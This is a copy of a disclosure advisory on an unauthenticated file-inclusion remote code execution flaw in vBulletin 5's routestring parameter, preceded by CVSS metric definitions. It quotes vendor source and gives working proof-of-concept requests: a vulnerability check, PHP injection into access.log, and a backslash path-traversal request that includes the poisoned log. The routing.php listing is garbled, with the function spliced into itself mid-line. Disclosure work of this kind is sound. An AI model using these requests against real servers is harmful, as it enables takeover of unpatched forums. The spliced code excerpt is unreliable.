The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: vBulletin 5 routestring Unauthenticated Remote Code Execution
# SSD Advisory vBulletin routestring Unauthenticated Remote Code Execution
## Vulnerability Summary
The following advisory describes a unauthenticated file inclusion vulnerability that leads to remote code execution found in vBulletin version 5.
vBulletin, also known as vB, is a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage
## Credit
An independent security researcher has reported this vulnerability to Beyond Securitys SecuriTeam Secure Disclosure program
## Vendor response
We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.
## Vulnerability details
vBulletin contains a vulnerability that can allow a remote attacker to include any file from the vBulletin server and execute arbitrary PHP code.
An unauthenticated user is able to send a GET request to /index.php which can then trigger the file inclusion vulnerability with parameter routestring=.
The request allows an attacker to create a crafted request to Vbulletin server installed on Windows OS and include any file on the web server.
**Listing of /index.php:**
```
/* 48 */ $app = vB5_Frontend_Application::init('config.php');
/* 49 */ //todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini
/* 50 */ //file to catch these situations.
/* 51 */ // We report all errors here because we have to make Application Notice free
/* 52 */ error_reporting(E_ALL | E_STRICT);
/* 53 */
/* 54 */ $config = vB5_Config::instance();
/* 55 */ if (!$config->report_all_php_errors) {
/* 56 */ // Note that E_STRICT became part of E_ALL in PHP 5.4
/* 57 */ error_reporting(E_ALL & ~(E_NOTICE | E_STRICT));
/* 58 */ }
/* 59 */
/* 60 */ $routing = $app->getRouter();
/* 61 */ $method = $routing->getAction();
/* 62 */ $template = $routing->getTemplate();
/* 63 */ $class = $routing->getControllerClass();
/* 64 */
/* 65 */ if (!class_exists($class))
/* 66 */ {
/* 67 */ // @todo - this needs a proper error message
/* 68 */ die("Couldn't find controller file for $class");
/* 69 */ }
/* 70 */
/* 71 */ vB5_Frontend_ExplainQueries::initialize();
/* 72 */ $c = new $class($template);
/* 73 */
/* 74 */ call_user_func_array(array(&$c, $method), $routing->getArguments());
/* 75 */
/* 76 */ vB5_Frontend_ExplainQueries::finish();
```
**Lets take a closer look on vB5_Frontend_Application::init() Listing of /includes/vb5/frontend/application.php:**
```
/* 15 */ public static function init($configFile)
/* 16 */ {
/* 17 */ parent::init($configFile);
/* 18 */
/* 19 */ self::$instance = new vB5_Frontend_Application();
/* 20 */ self::$instance->router = new vB5_Frontend_Routing();
/* 21 */ self::$instance->router->setRoutes();
/* ... */
```
We can see that setRoutes() is called:
**Listing of /includes/vb5/frontend/routing.php:**
```
/* 47 */ public function setRoutes()
/* 48 */ {
/* 49 */ $this->processQueryString();
/* 50 */
/* 51 */ //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it
/* 52 */ //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
/* 53 */
/* 54 */ if (isset($_GET['routestring']))
/* 55 */ {
/* 56 */ $path = $_GET['routestring'];
/* ... */
/* 73 */ }
/* 74 */
/* 75 */ if (strlen($path) AND $path{0} == '/')
/* 76 */ {
/* 77 */ $path = substr($path, 1);
/* 78 */ }
/* 79 */
/* 80 */ //If there is an invalid image, js, or css request we wind up here. We can't process any of them
/* 81 */ if (strlen($path) > 2 )
/* 82 */ {
/* 83 */ $ext = strtolower(substr($path, -4)) ;
/* 84 */ if (($ext == /* 47 */ public function setRoutes()
/* 48 */ {
/* 49 */ $this->processQueryString();
/* 50 */
/* 51 */ //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it
/* 52 */ //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
/* 53 */
/* 54 */ if (isset($_GET['routestring']))
/* 55 */ {
/* 56 */ $path = $_GET['routestring'];
/* ... */
/* 73 */ }
/* 74 */
/* 75 */ if (strlen($path) AND $path{0} == '/')
/* 76 */ {
/* 77 */ $path = substr($path, 1);
/* 78 */ }
/* 79 */
/* 80 */ //If there is an invalid image, js, or css request we wind up here. We can't process any of them
/* 81 */ if (strlen($path) > 2 )
/* 82 */ {
/* 83 */ $ext = strtolower(substr($path, -4)) ;
/* 84 */ if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css')
/* 85 */ OR (strtolower(substr($path, -3)) == '.js') )
/* 86 */ {
/* 87 */ header("HTTP/1.0 404 Not Found");
/* 88 */ die('');
/* 89 */ }
/* 90 */ }
/* 91 */
/* 92 */ try
/* 93 */ {
/* 94 */ $message = ''; // Start with no error.
/* 95 */ $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));
/* 96 */ }
/* 97 */ catch (Exception $e)
/* 98 */ {
/* ... */
/* 106 */ }
/* ... */
/* 127 */ if (!empty($route))
/* 128 */ {
/* ... */
/* 188 */ }
/* 189 */ else
/* 190 */ {
/* 191 */ // if no route was matched, try to parse route as /controller/method
/* 192 */ $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));
/* ... */
/* 229 */ }
/* 230 */
/* 231 */ //this could be a legacy file that we need to proxy. The relay controller will handle
/* 232 */ //cases where this is not a valid file. Only handle files in the "root directory". We'll
/* 233 */ //handle deeper paths via more standard routes.
/* 234 */ if (strpos($path, '/') === false)
/* 235 */ {
/* 236 */ $this->controller = 'relay';
/* 237 */ $this->action = 'legacy';
/* 238 */ $this->template = '';
/* 239 */ $this->arguments = array($path);
/* 240 */ $this->queryParameters = array();
/* 241 */ return;
/* 242 */ }
/* 243 */
/* 244 */ vB5_ApplicationAbstract::checkState();
/* 245 */
/* 246 */ throw new vB5_Exception_404("invalid_page_url");
/* 247 */ } ) )
/* 86 */ {
/* 87 */ header("HTTP/1.0 404 Not Found");
/* 88 */ die('');
/* 89 */ }
/* 90 */ }
/* 92 */ try
/* 93 */ {
/* 94 */ $message = ''; // Start with no error.
/* 95 */ $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));
/* 96 */ }
/* 97 */ catch (Exception $e)
/* 98 */ {
/* ... */
/* 106 */ }
/* ... */
/* 127 */ if (!empty($route))
/* 128 */ {
/* ... */
/* 188 */ }
/* 189 */ else
/* 190 */ {
/* 191 */ // if no route was matched, try to parse route as /controller/method
/* 192 */ $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));
/* ... */
/* 229 */ }
/* 230 */
/* 231 */ //this could be a legacy file that we need to proxy. The relay controller will handle
/* 232 */ //cases where this is not a valid file. Only handle files in the "root directory". We'll
/* 233 */ //handle deeper paths via more standard routes.
/* 234 */ if (strpos($path, '/') === false)
/* 235 */ {
/* 236 */ $this->controller = 'relay';
/* 237 */ $this->action = 'legacy';
/* 238 */ $this->template = '';
/* 239 */ $this->arguments = array($path);
/* 240 */ $this->queryParameters = array();
/* 241 */ return;
/* 242 */ }
/* */
```
So if our routestring does not end with .gif, .png, .jpg, .css or .js and does not contain / char vBulletin will call legacy() method from vB5_Frontend_Controller_Relay /includes/vb5/frontend/controller/relay.php:
```
/* 63 */ public function legacy($file)
/* 64 */ {
/* 65 */ $api = Api_InterfaceAbstract::instance();
/* 66 */ $api->relay($file);
/* 67 */ }
```
If we will check relay() from Api_Interface_Collapsed class /include/api/interface/collapsed.php:
```
/* 117 */ public function relay($file)
/* 118 */ {
/* 119 */ $filePath = vB5_Config::instance()->core_path . '/' . $file;
/* 120 */
/* 121 */ if ($file AND file_exists($filePath))
/* 122 */ {
/* 123 */ //hack because the admincp/modcp files won't return so the remaining processing in
/* 124 */ //index.php won't take place. If we better integrate the admincp into the
/* 125 */ //frontend, we can (and should) remove this.
/* 126 */ vB_Shutdown::instance()->add(array('vB5_Frontend_ExplainQueries', 'finish'));
/* 127 */ require_once($filePath);
/* 128 */ }
/* ... */
```
As we could see an attacker is not able to use / in the $file so he cannot change current directory on Linux. But for Windows he can use \ as path delimiter and is able to specify any desired file (he can use \..\ trick as well) and it will be included by php.
![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-125x300.jpg)
If we want to include file with extension like .gif, .png, .jpg, .css or .js we will need to bypass the mentioned check in setRoutes() method. This can be easily done by adding dot (.) or space (%20) to the filename.
## Proof of Concept
We can check if the server is vulnerable by sending the following GET request:
```
/index.php?routestring=.\\
```
If the response is:
![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-1-300x60.png)
The server is vulnerable.
If we want to inject a php code to any file on the server we can use the access.log for example:
```
/?LogINJ_START=<?php phpinfo();?>LogINJ_END
```
After that we can include access.log with our PHP code:
```
/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log
```
![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-2-300x89.jpg)
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